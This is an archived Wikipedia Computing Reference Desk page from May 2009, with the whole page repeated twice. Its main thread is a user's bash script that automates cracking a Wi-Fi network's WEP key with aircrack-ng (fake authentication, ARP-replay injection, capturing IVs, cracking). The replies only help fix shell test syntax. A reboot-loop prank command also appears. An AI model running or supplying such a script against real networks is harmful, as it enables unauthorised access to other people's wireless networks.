Computing desk | ||
---|---|---|
< May 10 | << Apr | May | Jun >> | May 12 > |
Welcome to the Wikipedia Computing Reference Desk Archives |
---|
The page you are currently viewing is an archive page. While you can leave answers for any questions shown below, please ask new questions on one of the current reference desk pages. |
Hello there, I am having a problem with the script below, The script works just fine but it returns some errors. I was wondering how i can make these errors go away. If it helps i am running Ubuntu 9.04. Thank you
#!/bin/bash
#Checks for and promps for data
echo "Please wait"
AIRESSID=$3
if $1 = ; then
echo "BSSID?"
read AIRBSSID
else
AIRBSSID=$1
fi
if $2 = ; then
echo "Channel?"
read AIRCHANNEL
else
AIRCHANNEL=$2
fi
if $4 = ; then
AIRTIME=3m
else
AIRTIME=$4
fi
#Start the wireless interface in monitor mode on the specific AP channel
sudo ifconfig wlan0 down > null
sudo airmon-ng start wlan0 $AIRCHANNEL > null
sudo iwconfig wlan0 channel $AIRCHANNEL > null
#Use aireplay-ng to do a fake authentication with the access point
if $AIRESSID = ; then
sudo aireplay-ng -1 0 -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
else
sudo aireplay-ng -1 0 -a $AIRBSSID -e $AIRESSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -e $AIRESSID -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
fi
#Start airodump-ng on AP channel with a bssid filter in a new window to collect the new unique IVs
gnome-terminal -x sudo airodump-ng -c $AIRCHANNEL --bssid $AIRBSSID -w /home/User/output/output mon0 &
#Start aireplay-ng in ARP request replay mode to inject packets in new window
gnome-terminal -x sudo aireplay-ng -3 -b $AIRBSSID -h 00:00:00:00:00:00 mon0 &
#waits while airodump gathers data
echo "Please wait" $AIRTIME
sleep $AIRTIME
#Run aircrack-ng to crack key using the IVs collected
sudo aircrack-ng -z -b $AIRBSSID /home/User/output/output*.cap
#Stops the WiFi card and brings it back up for use by the user.
sudo airmon-ng stop mon0 > null
sudo ifconfig wlan0 down > null
User@CompName:~$ ./startaircrack 00:00:00:00:00:01 6 123456
Please wait
./startaircrack: line 6: : 00:00:00:00:00:01: unary operator expected
./startaircrack: line 12: : 6: unary operator expected
./startaircrack: line 28: : 123456: unary operator expected
Please wait 3m
SmilyHill ( talk) 16:48, 11 May 2009 (UTC)
if [ $1 = ]; then
if [ x$1 = x ]; then
I just tried it, I get the same error.
User@CompName:~$ startaircrack 00:00:00:00:00 6 12345
Please wait
/bin/startaircrack: line 10: : 00:00:00:00:00: unary operator expected
/bin/startaircrack: line 16: : 6: unary operator expected
/bin/startaircrack: line 32: : 12345: unary operator expected
SmilyHill ( talk) 18:23, 11 May 2009 (UTC)
test
. --
h2g2bob (
talk) 18:27, 11 May 2009 (UTC)
man testin the terminal, and you will get all the correct syntax for this type of statement. Nimur ( talk) 18:38, 11 May 2009 (UTC)
I'd like to know how i can rewrite this script to accept expressions. What i mean by this is that i would like to type in the following code to run the program:
User@CompName:~$ startaircrack --Mac=00:00:00:00:00 --channel=6 ESSID==12345
Or
User@CompName:~$ startaircrack -m 00:00:00:00:00 -c 6 -e 12345
The reason i'd like to do this is because the order that i give the expressions would not matter;
SmilyHill ( talk) 18:48, 11 May 2009 (UTC)
if [ "X$var" = Xwhatever ]
I am not a computer expert, in fact far from it, I know very little about computers. But I was reading an article the other day about some pranks to play on people using their computers where you formed what they called an "infinite boot loop" where the computer would try to start, then shut down part of the way through, then repeat the process, obviously infinitely if there is a power supply. The article said that in order to stop it all you had to do was to start up in safe mode then delete it. Well, safe mode didn't work either. What I did was create a shortcut on my desktop that said this in the location box - "shutdown -r -t 10 -c "Your Message Here"". Is there any real way to undo this action and how can I get rid of it? Thanks jondn ( talk) 19:36, 11 May 2009 (UTC)
C:\users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu
Hello, I am looking for a way to open all linked .html pages in a given rss feed into new tabs automatically in firefox. I would like the system to update the rss feed and when a new .html page appears to open it also in a new tab, but not to open .html pages that have already been opened into new tabs. Thank you —Preceding unsigned comment added by Saving rss feeds ( talk • contribs) 20:48, 11 May 2009 (UTC)
What is the future trend of this agency's regulations in the 2.4-GHz RF spectrum —Preceding unsigned comment added by 75.151.177.58 ( talk) 23:21, 11 May 2009 (UTC)
Computing desk | ||
---|---|---|
< May 10 | << Apr | May | Jun >> | May 12 > |
Welcome to the Wikipedia Computing Reference Desk Archives |
---|
The page you are currently viewing is an archive page. While you can leave answers for any questions shown below, please ask new questions on one of the current reference desk pages. |
Hello there, I am having a problem with the script below, The script works just fine but it returns some errors. I was wondering how i can make these errors go away. If it helps i am running Ubuntu 9.04. Thank you
#!/bin/bash
#Checks for and promps for data
echo "Please wait"
AIRESSID=$3
if $1 = ; then
echo "BSSID?"
read AIRBSSID
else
AIRBSSID=$1
fi
if $2 = ; then
echo "Channel?"
read AIRCHANNEL
else
AIRCHANNEL=$2
fi
if $4 = ; then
AIRTIME=3m
else
AIRTIME=$4
fi
#Start the wireless interface in monitor mode on the specific AP channel
sudo ifconfig wlan0 down > null
sudo airmon-ng start wlan0 $AIRCHANNEL > null
sudo iwconfig wlan0 channel $AIRCHANNEL > null
#Use aireplay-ng to do a fake authentication with the access point
if $AIRESSID = ; then
sudo aireplay-ng -1 0 -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
else
sudo aireplay-ng -1 0 -a $AIRBSSID -e $AIRESSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -e $AIRESSID -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
fi
#Start airodump-ng on AP channel with a bssid filter in a new window to collect the new unique IVs
gnome-terminal -x sudo airodump-ng -c $AIRCHANNEL --bssid $AIRBSSID -w /home/User/output/output mon0 &
#Start aireplay-ng in ARP request replay mode to inject packets in new window
gnome-terminal -x sudo aireplay-ng -3 -b $AIRBSSID -h 00:00:00:00:00:00 mon0 &
#waits while airodump gathers data
echo "Please wait" $AIRTIME
sleep $AIRTIME
#Run aircrack-ng to crack key using the IVs collected
sudo aircrack-ng -z -b $AIRBSSID /home/User/output/output*.cap
#Stops the WiFi card and brings it back up for use by the user.
sudo airmon-ng stop mon0 > null
sudo ifconfig wlan0 down > null
User@CompName:~$ ./startaircrack 00:00:00:00:00:01 6 123456
Please wait
./startaircrack: line 6: : 00:00:00:00:00:01: unary operator expected
./startaircrack: line 12: : 6: unary operator expected
./startaircrack: line 28: : 123456: unary operator expected
Please wait 3m
SmilyHill ( talk) 16:48, 11 May 2009 (UTC)
if [ $1 = ]; then
if [ x$1 = x ]; then
I just tried it, I get the same error.
User@CompName:~$ startaircrack 00:00:00:00:00 6 12345
Please wait
/bin/startaircrack: line 10: : 00:00:00:00:00: unary operator expected
/bin/startaircrack: line 16: : 6: unary operator expected
/bin/startaircrack: line 32: : 12345: unary operator expected
SmilyHill ( talk) 18:23, 11 May 2009 (UTC)
test
. --
h2g2bob (
talk) 18:27, 11 May 2009 (UTC)
man testin the terminal, and you will get all the correct syntax for this type of statement. Nimur ( talk) 18:38, 11 May 2009 (UTC)
I'd like to know how i can rewrite this script to accept expressions. What i mean by this is that i would like to type in the following code to run the program:
User@CompName:~$ startaircrack --Mac=00:00:00:00:00 --channel=6 ESSID==12345
Or
User@CompName:~$ startaircrack -m 00:00:00:00:00 -c 6 -e 12345
The reason i'd like to do this is because the order that i give the expressions would not matter;
SmilyHill ( talk) 18:48, 11 May 2009 (UTC)
if [ "X$var" = Xwhatever ]
I am not a computer expert, in fact far from it, I know very little about computers. But I was reading an article the other day about some pranks to play on people using their computers where you formed what they called an "infinite boot loop" where the computer would try to start, then shut down part of the way through, then repeat the process, obviously infinitely if there is a power supply. The article said that in order to stop it all you had to do was to start up in safe mode then delete it. Well, safe mode didn't work either. What I did was create a shortcut on my desktop that said this in the location box - "shutdown -r -t 10 -c "Your Message Here"". Is there any real way to undo this action and how can I get rid of it? Thanks jondn ( talk) 19:36, 11 May 2009 (UTC)
C:\users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu
Hello, I am looking for a way to open all linked .html pages in a given rss feed into new tabs automatically in firefox. I would like the system to update the rss feed and when a new .html page appears to open it also in a new tab, but not to open .html pages that have already been opened into new tabs. Thank you —Preceding unsigned comment added by Saving rss feeds ( talk • contribs) 20:48, 11 May 2009 (UTC)
What is the future trend of this agency's regulations in the 2.4-GHz RF spectrum —Preceding unsigned comment added by 75.151.177.58 ( talk) 23:21, 11 May 2009 (UTC)